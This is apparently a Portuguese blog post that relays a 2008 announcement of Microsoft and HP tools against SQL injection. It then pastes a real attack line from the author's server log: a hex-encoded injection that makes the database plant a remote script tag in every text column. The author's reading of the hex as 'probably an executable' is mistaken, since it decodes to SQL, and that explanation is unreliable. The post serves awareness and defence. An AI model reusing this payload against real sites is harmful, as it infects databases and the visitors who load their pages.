Recebi no meu e-mail agorinha:
A Microsoft liberou esta semana ferramentas para combater ataques por injeção de SQL em web sites.
Recentemente, atacantes invadiram sites legítimos que usam o SQL da Microsoft e injetaram nas páginas códigos maliciosos em JavaScript. Esses códigos redirecionam o browser para servidores que abrigam programas nocivos e infectam a máquina do visitante.
Voltada para desenvolvedores web, as novas ferramentas são gratuitas e objetivam prevenir esse tipo de ataque. São três aplicações. A primeira é HP Scrawlr. Desenvolvida pela HP, identifica se o site é suscetível a injeção de SQL.
Outro produto é o URL Scan 3.0 Beta, da própria Microsoft, que tem a função de defesa. O URL Scan restringe os tipos de requisições HTTP que o servidor IIS processa. O produto pode ser instalado no IIS 5.1 e versões posteriores.
Por fim, vem o Source Code Analyzer for SQL Injection, ferramenta também assinada pela Microsoft. Seu objetivo é detectar códigos ASP e ASP.net vulneráveis a ataques de injeção de SQL. Detalhes técnicos sobre os três produtos encontram-se no boletim de segurança 954462(link), de 24 de junho de 2008.
Já vi isso acontecer, no log do servidor achei isso:
189.104.14.173 - - [dd/M/Year:hh:mm:ss -0300] “GET /script.asp?id=23;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0×44
45434C415245204054205641524348415228323535292C40432056415243484152
2832353529204445434C415245205461626C655F437572736F7220435552534F52
20464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379
736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69
643D622E696420414E4420612E78747970653D27752720414E442028622E787479
70653D3939204F5220622E78747970653D3335204F5220622E78747970653D3233
31204F5220622E78747970653D31363729204F50454E205461626C655F43757273
6F72204645544348204E4558542046524F4D205461626C655F437572736F722049
4E544F2040542C4043205748494C4528404046455443485F5354415455533D3029
20424547494E20455845432827555044415445205B272B40542B275D2053455420
5B272B40432B275D3D525452494D28434F4E564552542856415243484152283430
3030292C5B272B40432B275D29292B27273C736372697074207372633D68747470
3A2F2F7777772E6462757064722E636F6D2F622E6A733E3C2F7363726970743E27
272729204645544348204E4558542046524F4D205461626C655F437572736F7220
494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72
204445414C4C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR
(4000));EXEC(@S);– HTTP/1.1″ 500 731
Lógico que esse IIS tem um reverse proxy na frente por segurança. Dá para ver claramente o que o atacante tentou fazer: declara uma variável “S” como varchar(4000), seta o valor dela com uma sequência hexadecimal, provavelmente um executável, e no fim dá um exec(s) para executar o código no servidor.
Não funciona esse ataque quando o usuário SQL só tem permissão para read no banco.